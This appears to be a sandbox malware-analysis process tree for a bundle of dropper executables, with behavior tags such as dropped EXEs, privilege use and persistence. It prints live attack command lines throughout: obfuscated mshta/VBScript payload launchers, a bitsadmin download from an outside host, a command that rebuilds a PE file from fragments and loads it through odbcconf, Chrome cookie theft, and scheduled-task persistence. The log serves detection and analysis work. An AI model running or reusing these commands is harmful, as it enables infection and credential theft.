C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15596ebd6461e52.exe"C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15596ebd6461e52.exe"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed159885289d58013.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed159885289d58013.exeWed159885289d58013.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed157ff15767131.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed157ff15767131.exeWed157ff15767131.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15f0210e0781ad.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f0210e0781ad.exeWed15f0210e0781ad.exe4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIpT: cLose (CReAteoBjECT ("WscRIpt.SHELL" ).run ( "CMd /Q/r TyPe ""C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f0210e0781ad.exe"" > LYTP6BNP96NKL.Exe &&stART LYTP6BNP96NKl.eXe -PYwNBlt16ruY1O9G4ze8eT1x8ue & IF """" == """" for %O in ( ""C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f0210e0781ad.exe"") do taskkill -iM ""%~NXO"" -F " , 0 ,TrUE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15c401857ac1a.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c401857ac1a.exeWed15c401857ac1a.exe4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15c6a30186c4a.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c6a30186c4a.exeWed15c6a30186c4a.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-I4O9P.tmp\Wed15c6a30186c4a.tmp"C:\Users\Admin\AppData\Local\Temp\is-I4O9P.tmp\Wed15c6a30186c4a.tmp" /SL5="$301EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c6a30186c4a.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15f83eb77d.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f83eb77d.exeWed15f83eb77d.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15df815461c5872.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15df815461c5872.exeWed15df815461c5872.exe4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15345d648981c8.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15345d648981c8.exeWed15345d648981c8.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15345d648981c8.exe"C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15345d648981c8.exe"5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6060 -s 7606⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1284 -s 6765⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15aae49c0ba16b.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15aae49c0ba16b.exeWed15aae49c0ba16b.exe4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed152cd6ec17d.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152cd6ec17d.exeWed152cd6ec17d.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed152ba37f7a152.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed150fb09a3c4ef934.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed159089afc01.exe /mixtwo3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15f7d0a7633.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed15c1d9b8f438.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f7d0a7633.exeWed15f7d0a7633.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f7d0a7633.exe"C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f7d0a7633.exe" -u2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed150fb09a3c4ef934.exeWed150fb09a3c4ef934.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed150fb09a3c4ef934.exeC:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed150fb09a3c4ef934.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed159089afc01.exeWed159089afc01.exe /mixtwo1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4932 -s 8082⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c1d9b8f438.exeC:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c1d9b8f438.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E2⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E2⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E3⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\5⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f83eb77d.exeC:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f83eb77d.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-67O77.tmp\PowerOff.exe"C:\Users\Admin\AppData\Local\Temp\is-67O77.tmp\PowerOff.exe" /S /UID=911⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6d-8958b-c86-27eaf-c21376ce880bc\Fyzhivuriba.exe"C:\Users\Admin\AppData\Local\Temp\6d-8958b-c86-27eaf-c21376ce880bc\Fyzhivuriba.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\3e-0965e-7b2-30c9e-9c36f042641b1\Gunahashosa.exe"C:\Users\Admin\AppData\Local\Temp\3e-0965e-7b2-30c9e-9c36f042641b1\Gunahashosa.exe"2⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\efzam4rv.dp1\installer.exe /qn CAMPAIGN="654" & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\efzam4rv.dp1\installer.exeC:\Users\Admin\AppData\Local\Temp\efzam4rv.dp1\installer.exe /qn CAMPAIGN="654"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\efzam4rv.dp1\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\efzam4rv.dp1\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636066905 /qn CAMPAIGN=""654"" " CAMPAIGN="654"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iqp1b3bp.elu\any.exe & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\iqp1b3bp.elu\any.exeC:\Users\Admin\AppData\Local\Temp\iqp1b3bp.elu\any.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\iqp1b3bp.elu\any.exe"C:\Users\Admin\AppData\Local\Temp\iqp1b3bp.elu\any.exe" -u5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jtnv0y54.cqu\gcleaner.exe /mixfive & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\jtnv0y54.cqu\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\jtnv0y54.cqu\gcleaner.exe /mixfive4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\jtnv0y54.cqu\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\jtnv0y54.cqu\gcleaner.exe /mixfive5⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rft42ljb.ajv\toolspab3.exe & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\rft42ljb.ajv\toolspab3.exeC:\Users\Admin\AppData\Local\Temp\rft42ljb.ajv\toolspab3.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\rft42ljb.ajv\toolspab3.exeC:\Users\Admin\AppData\Local\Temp\rft42ljb.ajv\toolspab3.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0fk4gpe2.gqj\autosubplayer.exe /S & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\0fk4gpe2.gqj\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\0fk4gpe2.gqj\autosubplayer.exe /S4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
- Checks for any installed AV software in registry
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z5⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -poJ8dg2E7m5Mxkwm -y x C:\zip.7z -o"C:\Program Files\temp_files\"5⤵
- Executes dropped EXE
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pcZ1QhiiAVhUztPl -y x C:\zip.7z -o"C:\Program Files\temp_files\"5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
- Blocklisted process makes network request
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz661B.tmp\tempfile.ps1"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5128 -s 10845⤵
- Program crash
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\duy5uhir.sqe\installer.exe /qn CAMPAIGN=654 & exit3⤵
-
C:\Users\Admin\AppData\Local\Temp\duy5uhir.sqe\installer.exeC:\Users\Admin\AppData\Local\Temp\duy5uhir.sqe\installer.exe /qn CAMPAIGN=6544⤵
- Executes dropped EXE
-
C:\Program Files\Microsoft Office 15\TSBYQYFJWA\poweroff.exe"C:\Program Files\Microsoft Office 15\TSBYQYFJWA\poweroff.exe" /VERYSILENT2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-3VLI7.tmp\poweroff.tmp"C:\Users\Admin\AppData\Local\Temp\is-3VLI7.tmp\poweroff.tmp" /SL5="$80030,490199,350720,C:\Program Files\Microsoft Office 15\TSBYQYFJWA\poweroff.exe" /VERYSILENT3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\powerOff\Power Off.exe"C:\Program Files (x86)\powerOff\Power Off.exe" -silent -desktopShortcut -programMenu4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-JQPBG.tmp\Wed15c6a30186c4a.tmp"C:\Users\Admin\AppData\Local\Temp\is-JQPBG.tmp\Wed15c6a30186c4a.tmp" /SL5="$70030,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c6a30186c4a.exe" /SILENT1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-GC0QV.tmp\winhostdll.exe"C:\Users\Admin\AppData\Local\Temp\is-GC0QV.tmp\winhostdll.exe" ss12⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f83eb77d.exeC:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f83eb77d.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:N"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E2⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe" /P "Admin:R" /E3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:N"3⤵
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exeC:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E2⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\AppData\Local\Temp\6829558ede" /P "Admin:R" /E3⤵
-
C:\Users\Admin\AppData\Local\Temp\LYTP6BNP96NKL.ExeLYTP6BNP96NKl.eXe -PYwNBlt16ruY1O9G4ze8eT1x8ue1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRIpT: cLose (CReAteoBjECT ("WscRIpt.SHELL" ).run ( "CMd /Q/r TyPe ""C:\Users\Admin\AppData\Local\Temp\LYTP6BNP96NKL.Exe"" > LYTP6BNP96NKL.Exe &&stART LYTP6BNP96NKl.eXe -PYwNBlt16ruY1O9G4ze8eT1x8ue & IF ""-PYwNBlt16ruY1O9G4ze8eT1x8ue "" == """" for %O in ( ""C:\Users\Admin\AppData\Local\Temp\LYTP6BNP96NKL.Exe"") do taskkill -iM ""%~NXO"" -F " , 0 ,TrUE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/r TyPe "C:\Users\Admin\AppData\Local\Temp\LYTP6BNP96NKL.Exe" > LYTP6BNP96NKL.Exe &&stART LYTP6BNP96NKl.eXe -PYwNBlt16ruY1O9G4ze8eT1x8ue & IF "-PYwNBlt16ruY1O9G4ze8eT1x8ue "== "" for %O in ("C:\Users\Admin\AppData\Local\Temp\LYTP6BNP96NKL.Exe") do taskkill -iM "%~NXO" -F3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPt:CLose ( creATeObJECt ( "wSCRIPt.SHEll" ). RUN ( "CMd /c echo | Set /P = ""MZ"" > V~~7K7t.W4 & copy /B /Y V~~7k7T.W4+ RFTk.P + HmGJ.EYX + mT_CSNV.iEr + wUp7Lw.TY + KZvT.H+W872f~G.Ab ze5BAWs.I9 & StArt odbcconf.exe /A {REgsVr .\zE5BaWS.i9 } " , 0,tRUE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo | Set /P = "MZ" > V~~7K7t.W4 & copy /B /Y V~~7k7T.W4+ RFTk.P +HmGJ.EYX + mT_CSNV.iEr + wUp7Lw.TY + KZvT.H+W872f~G.Ab ze5BAWs.I9 &StArt odbcconf.exe /A {REgsVr .\zE5BaWS.i9}3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>V~~7K7t.W4"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "4⤵
-
C:\Windows\SysWOW64\odbcconf.exeodbcconf.exe /A {REgsVr .\zE5BaWS.i9}4⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/r TyPe "C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f0210e0781ad.exe" > LYTP6BNP96NKL.Exe &&stART LYTP6BNP96NKl.eXe -PYwNBlt16ruY1O9G4ze8eT1x8ue & IF ""== "" for %O in ("C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15f0210e0781ad.exe") do taskkill -iM "%~NXO" -F1⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Wed15f0210e0781ad.exe" -F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c6a30186c4a.exe"C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c6a30186c4a.exe" /SILENT1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed152ba37f7a152.exeWed152ba37f7a152.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-I4O9Q.tmp\Wed157ff15767131.tmp"C:\Users\Admin\AppData\Local\Temp\is-I4O9Q.tmp\Wed157ff15767131.tmp" /SL5="$200F0,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed157ff15767131.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed159089afc01.exeWed159089afc01.exe /mixtwo1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS86F2EB95\Wed15c1d9b8f438.exeWed15c1d9b8f438.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 420C6B3F1EE3646DA600342FFCE4A70E C2⤵
- Loads dropped DLL
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 73C3E194E305823CCEB323B8F840D06D2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9611EB861728026184467E554A9F7F38 E Global\MSI00002⤵
- Loads dropped DLL
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
-
